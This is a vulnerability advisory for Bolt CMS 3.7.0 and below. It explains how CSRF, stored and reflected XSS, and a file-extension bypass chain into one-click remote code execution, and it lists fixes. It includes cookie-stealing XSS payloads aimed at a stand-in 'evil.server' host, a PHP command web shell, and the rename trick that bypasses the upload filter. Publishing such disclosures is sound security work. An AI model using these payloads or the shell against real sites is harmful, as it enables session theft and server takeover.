Bolt CMS versions 3.7.0 and below suffer from cross site request forgery, cross site scripting, and remote shell upload vulnerabilities that when combined can achieve remote code execution in one click.
e1905dcd1353235ff99a9faf7ed545ef
##########################################################################
# Bolt CMS <= 3.7.0 Multiple Vulnerabilities #
##########################################################################
Author - Sivanesh Ashok | @sivaneshashok | stazot.com
Date : 2020-03-24
Vendor : https://bolt.cm/
Version : <= 3.7.0
CVE : CVE-2020-4040, CVE-2020-4041
Last Modified: 2020-07-03
--[ Table of Contents
00 - Introduction
01 - Exploit
02 - Cross-Site Request Forgery (CSRF)
02.1 - Source code analysis
02.2 - Exploitation
02.3 - References
03 - Cross-Site Scripting (XSS)
03.1 - Preview generator
03.1.1 - Exploitation
03.2 - System Log
03.2.1 - Source code analysis
03.2.2 - Exploitation
03.3 - File name
03.3.1 - Source code analysis
03.3.2 - Exploitation
03.3.3 - References
03.4 - JS file upload
03.4.1 - Exploitation
03.5 - CKEditor4
03.5.1 - Exploitation
04 - Remote Code Execution
04.1 - Source code analysis
04.2 - Exploitation
04.3 - References
05 - Solution
06 - Contact
--[ 00 - Introduction
Bolt CMS is an open-source content management tool. This article details
the multiple vulnerabilities that I found in the application. The
vulnerabilities when chained together, resulted in a single-click RCE which
would allow an attacker to remotely take over the server. The link to the
exploit is provided in the next section.
--[ 01 - Exploit
Chaining all the bugs together results in a single-click RCE. The exploit
that does that can be found in the link below.
https://github.com/staz0t/exploits/blob/master/SA20200324_boltcms_csrf_to_rce.html
Host the exploit code in a webpage and send the link to the admin. When the
admin opens the link, backdoor.php gets uploaded and can be accessed via,
http://targetbolt.com/files/backdoor.php?cmd={insert_cmd_here}
--[ 02 - Cross-Site Request Forgery (CSRF)
Bolt CMS lacks CSRF protection in the preview generating endpoint. Previews
are intended to be generated by the admins, developers, chief-editors, and
editors, who are authorized to create content in the application. But due
to lack of CSRF protection, an unauthorized attacker can generate a
preview. This CSRF by itself does not have a huge impact. But this will be
used with the XSS, which are described below.
--[ 02.1 - Source code analysis
The preview generation is done
by preview() function which is defined in
vendor/bolt/bolt/src/Controller/Frontend.php:200 and there is no token
verification present in the function.
--[ 02.2 - Exploitation
The request that is can be forged is,
----[ request ]----
POST /preview/page HTTP/1.1
Host: localhost
content_edit[_token]=hTgbvurWl5fZ4m20bnb1AZCRrv8wFT0hzvjQi1TMW_wcontenttype=pages&title=title&slug=testpage1&teaser=teaser1&body=body1&id=1337
----[ request ]----
To exploit this vulnerability an attacker has to,
1. Make an HTML page with a form that has the required parameters shown
above. The content_edit[_token] is not required.
2. Use JS to auto-submit the form.
3. Host it on a website and send the link to the victim. i.e., an
authorized user.
When the victim opens the link, the browser will send the request to the
server and will follow the redirect to the preview page.
This CSRF by itself does not have a huge impact. But this will be used with
the XSS, which are described below.
--[ 02.3 - References
[CVE-2020-4040] - https://github.com/bolt/bolt/security/advisories/GHSA-2q66-6cc3-6xm8
--[ 03 - Cross-Site Scripting (XSS)
The application is vulnerable to XSS in multiple endpoints, which could be
exploited by an attacker to execute javascript code in the context of the
victim user.
--[ 03.1 - Preview generator
The app uses CKEditor to get input from the users and hence any unsafe
inputs are filtered. But the request can be intercepted and manipulated to
add javascript in the content, which gets executed in the preview page.
Hence the preview generator is vulnerable to reflected XSS.
--[ 03.1.1 - Exploitation
----[ request ]----
POST /preview/page HTTP/1.1
Host: localhost
contenttype=pages&title=title&slug=testpage1&teaser=teaser1&body=<script>alert(1)</script>&id=151
----[ request ]----
----[ response ]----
.
.
.
<p class="meta">
Written by <em>Unknown</em> on Monday March 23, 2020
</p>
teaser1
<script>alert(1)</script>
.
.
.
----[ response ]----
As shown above the payload in the request's body parameter is reflected in
the response. An attacker can chain the above explained CSRF with this
vulnerability to execute javascript code on the context of the victim user.
--[ 03.2 - System Log
The 'display name' of the users is vulnerable to stored XSS. The value is
not encoded when displayed in the system log, by the functionality that
logs the event when an authorized user enables, disables or deletes user
accounts. The unencoded 'display name' is displayed in the system log,
hence allowing the execution of javascript in the context of admin or
developer since those are the roles that are allowed to access the system
log, by default.
--[ 03.2.1 - Source code analysis
The vulnerability is in the
vendor/bolt/bolt/src/Controller/Backend/Users.php where the user actions
are performed and logged. There are two variables that store and are used
to display user data in this code. $user and $userEntity. It can be seen
that $userEntity is initiated with the values after being passed to
$form->isValid(). This shows that $user has the unencoded input and
$userEntity has the encoded input.
In line 341, the code adds an entry to the log when a user updates their
profile. It can be seen that it uses $userEntity->getDisplayName(), hence
the displayed user input is encoded. But in line 279, there is a switch
case condition that logs the respective actions of enable, disable, delete
in the system log.
----[ code segment ]----
switch ($action) {
case 'disable':
if ($this->users()->setEnabled($id, false)) {
$this->app['logger.system']->info("Disabled user '{$user->getDisplayname()}'.", ['event' => 'security']);
$this->flashes()->info(Trans::__('general.phrase.user-disabled', ['%s' => $user->getDisplayname()]));
} else {
$this->flashes()->info(Trans::__('general.phrase.user-failed-disabled', ['%s' => $user->getDisplayname()]));
}
break;
case 'enable':
if ($this->users()->setEnabled($id, true)) {
$this->app['logger.system']->info("Enabled user '{$user->getDisplayname()}'.", ['event' => 'security']);
$this->flashes()->info(Trans::__('general.phrase.user-enabled', ['%s' => $user->getDisplayname()]));
} else {
$this->flashes()->info(Trans::__('general.phrase.user-failed-enable', ['%s' => $user->getDisplayname()]));
}
break;
case 'delete':
if ($this->isCsrfTokenValid() && $this->users()->deleteUser($id)) {
$this->app['logger.system']->info("Deleted user '{$user->getDisplayname()}'.", ['event' => 'security']);
$this->flashes()->info(Trans::__('general.phrase.user-deleted', ['%s' => $user->getDisplayname()]));
} else {
$this->flashes()->info(Trans::__('general.phrase.user-failed-delete', ['%s' => $user->getDisplayname()]));
}
break;
default:
$this->flashes()->error(Trans::__('general.phrase.no-such-action-for-user', ['%s' => $user->getDisplayname()]));
}
---- [ code segment ]----
As shown above, the code uses $user->getDisplayName() instead of
$userEntity->getDisplayName(), which leads to the display of unencoded user
input.
--[ 03.2.2 - Exploitation
Here is how an attacker with any role can execute javascript code in the
context of the victim.
1. Log in and go to your profile settings and set your display name to
some javascript payload.
For example,
<script>document.write('<img src="https://evil.server/?cookie='+document.cookie+'"/>')</script>
This payload will send the admin's cookies to attacker's server
2. Now request the admin (or the victim user) to disable your account.
When the admin visits the system log or the mini system log that is shown
on the right side of the Users & Permissions page, the payload gets
executed in the admin's browser.
--[ 03.3 - Filename
The file name is vulnerable to stored XSS. It is not possible to inject
javascript code in the file name when creating/uploading the file. But,
once created/uploaded, it can be renamed to inject the payload in it.
--[ 03.3.1 - Source code analysis
The function that is responsible for renaming files is renameFile(), which
is defined in
vendor/bolt/bolt/src/Controller/Async/FilesystemManager.php:335
----[ code segment ]----
public function renameFile(Request $request)
{
// Verify CSRF token
$this->checkToken($request);
$namespace = $request->request->get('namespace');
$parent = $request->request->get('parent');
$oldName = $request->request->get('oldname');
// value assigned without any validation
$newName = $request->request->get('newname');
if (!$this->isExtensionChangedAndIsChangeAllowed($oldName, $newName)) {
return $this->json(Trans::__('general.phrase.only-root-change-file-extensions'), Response::HTTP_FORBIDDEN);
}
if ($this->validateFileExtension($newName) === false) {
return $this->json( sprintf("File extension not allowed: %s", $newName), Response::HTTP_BAD_REQUEST);
}
try {
// renaming with the same unvalidated value
$this->filesystem()->rename("$namespace://$parent/$oldName", "$parent/$newName");
return $this->json($newName, Response::HTTP_OK);
} catch (ExceptionInterface $e) {
$msg = Trans::__('Unable to rename file: %FILE%', ['%FILE%' => $oldName]);
$this->logException($msg, $e);
if ($e instanceof FileExistsException) {
$status = Response::HTTP_CONFLICT;
} elseif ($e instanceof FileNotFoundException) {
$status = Response::HTTP_NOT_FOUND;
} else {
$status = Response::HTTP_INTERNAL_SERVER_ERROR;
}
return $this->json($msg, $status);
}
}
----[ code segment ]----
As shown above, $newName is initiated with value directly from the request,
without any validation or filtering. This allows an attacker to inject
javascript code in the name while renaming, making it vulnerable to stored
XSS.
A interesting thing is, if the server is hosted on Windows it is not
possible to create files with special characters like <, >. So if this
attack is tried on Bolt CMS that is hosted on Windows it will not work. But
Linux allows special characters in file names. So, this works only if the
application is hosted on a Linux machine.
--[ 03.3.2 - Exploitation
1. Create or upload a file.
2. Rename it to inject javascript code in it.
For example,
<script>document.write('<img src="https://evil.server/?cookie='+document.cookie+'"/>')</script>
This payload will send the victim's cookies to attacker's server
3. When the admin (or the victim user) visits the file management page, the
payload gets executed.
--[ 03.3.3 - References
[CVE-2020-4041] - https://github.com/bolt/bolt/security/advisories/GHSA-68q3-7wjp-7q3j
--[ 03.4 - JS file upload
This stored XSS is a logical flaw in the application. By default in the
config.yml file, the application allows the following file types.
----[ code segment ]----
accept_file_types: [ twig, html, js, css, scss, gif, jpg, jpeg, png,
ico, zip, tgz, txt, md, doc, docx, pdf, epub, xls, xlsx, ppt, pptx, mp3,
ogg, 1wav, m4a, mp4, m4v, ogv, wmv, avi, webm, svg ]
----[ code segment ]----
It can be seen that it allows js and HTML files.
--[ 03.4.1 - Exploitation
An attacker with permission to upload files can exploit this to to upload
an HTML file with some javascript in it or include the uploaded js file
into the HTML. When the victim visits the uploaded file, the javascript
code gets executed in the context of the victim.
--[ 03.5 - CKEditor4
Bolt CMS uses CKEditor4 in the blogs to get input. CKEditor4 by default
filters malicious HTML attributes but not the src attribute. So, it can be
exploited by using javscript URL in the src of an iframe. It is important
to not rely on CKEditor4 for XSS prevention since it is only a client side
filter, and not a server-side validator.
--[ 03.5.1 - Exploitation
To exploit this vulnerability, an attacker with permission to create/edit
blogs should,
1. Open the 'New Blog' page.
2. Select the 'source mode' in CKEditor4 and enter the payload
<iframe src=javascript:alert(1)>
3. (optional) Switch back to WYSIWYG mode.
4. Post the blog.
When the victim visits the blog, the javascript code gets executed in the
context of the victim.
Now, all these XSS vulnerabilities on the surface look like simple
privilege escalation for an already authorized user, except for the preview
generator. But chaining these with the CSRF, any unauthorized attacker can
gain admin privileges, with little to no social engineering.
--[ 04 - Remote Code Execution
The application does not allow the upload of files with 'unsafe'
extensions, which include php and it's alternatives. But I bypassed this
protection by crafting a file name that abuses the sanitization functions.
An attacker with permissions to upload files can exploit this to upload php
files and execute code on the server.
This vulnerability was chained with the above mentioned CSRF and XSS to
achieve single-click RCE.
--[ 04.1 - Source code analysis
The function that validates the extension is validateFileExtension() which
is defined
invendor/bolt/bolt/src/Controller/Async/FilesystemManager.php:462
----[ code segment ]----
private function validateFileExtension($filename)
{
// no UNIX-hidden files
if ($filename[0] === '.') {
return false;
}
// only whitelisted extensions
$extension = pathinfo($filename, PATHINFO_EXTENSION);
$allowedExtensions = $this->getAllowedUploadExtensions();
return $extension === '' || in_array(mb_strtolower($extension),
$allowedExtensions);
}
----[ code segment ]----
As shown in the above code segment, the return value returns a value if the
extension is '' or if it is an allowed extension. The function allows
files with no extension. So, I tried to upload a file with the name
'backdoor.php.' The dot at the end makes the pathinfo() function return
null. So the file gets accepted. But when you open the file in the browser,
it does not execute it as php, but just as a plain text file.
The next step is to get the last dot removed.
Analyzing the rename() function defined in
vendor/bolt/filesystem/src/Filesystem.php:300, the function calls another
function normalizePath($newPath) with the new path as a parameter.
----[ code segment ]----
public function rename($path, $newPath)
{
$path = $this->normalizePath($path);
$newPath = $this->normalizePath($newPath);
$this->assertPresent($path);
$this->assertAbsent($newPath);
$this->doRename($path, $newPath);
}
----[ code segment ]----
The normalizePath() function is defined in the same file in line 823, acts
as a wrapper to Flysystem's normalizePath() function. It is being used to
fetch the 'real' path of files. This is used to validate the file location
etc. For example,
./somedir/../text.txt == ./text.txt == text.txt
So when './text.txt' is passed to this function, it returns 'text.txt'
So, to remove the last dot from our file name 'backdoor.php.', I changed it
to 'backdoor.php/.' Passing it to normalizePath() it returns 'backdoor.php',
which is exactly what is needed.
So the data flow looks like, first the value 'backdoor.php/.' is passed to
validateFileExtension() which returns NULL because there is no text after
that last dot. So, the extesion filter is bypassed. Next, the same value is
passed to normalizePath() which removes the last '/.' because it looks like
it's a path to the current directory. At the end, the file gets renamed to
'backdoor.php'
Pwned!
--[ 04.2 - Exploitation
To exploit this vulnerability, an attacker with permission to upload files
should,
1. Create a php file with code that gives a backdoor.
For example,
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
2. Rename the file with a dot at the end.
For example,
'backdoor.php.'
3. Upload the file and rename it to 'backdoor.php/.'
You will notice that it will get renamed to 'backdoor.php'
--[ 04.3 - References
https://stazot.com/boltcms-file-upload-bypass
--[ 05 - Solution
1. Validate the CSRF token before generating preview in preview() function
- vendor/bolt/bolt/src/Controller/Frontend.php:200
2. Validate the user inputs to the preview generation endpoint before
displaying them in preview() function -
vendor/bolt/bolt/src/Controller/Frontend.php:200
3. Use the variable that has the encoded value to display user information.
i.e., use $userEntity instead of $user in -
vendor/bolt/bolt/src/Controller/Backend/Users.php:279
4. Validate the user inputs before renaming the files in renameFile()
function in - /src/Controller/Async/FilesystemManager.php:335
5. Do not allow the upload of JS and HTML files. If that is absolutely
required, then add it as a separate permission that the admin can allocate
to certain roles and not everyone who has access to file upload.
6. Enable CKEditor4's option to disallow javascript URLs. For more
information, check
https://ckeditor.com/docs/ckeditor4/latest/api/CKEDITOR_config.html#cfg-linkJavaScriptLinksAllowed
7. Change the flow of data while renaming. First pass the data through
normalizePath() data and then through validateFileExtension(). That way,
the validation function validates the final value.
--[ 06 - Contact
Name : Sivanesh Ashok
Twitter: @sivaneshashok
Website: http://stazot.com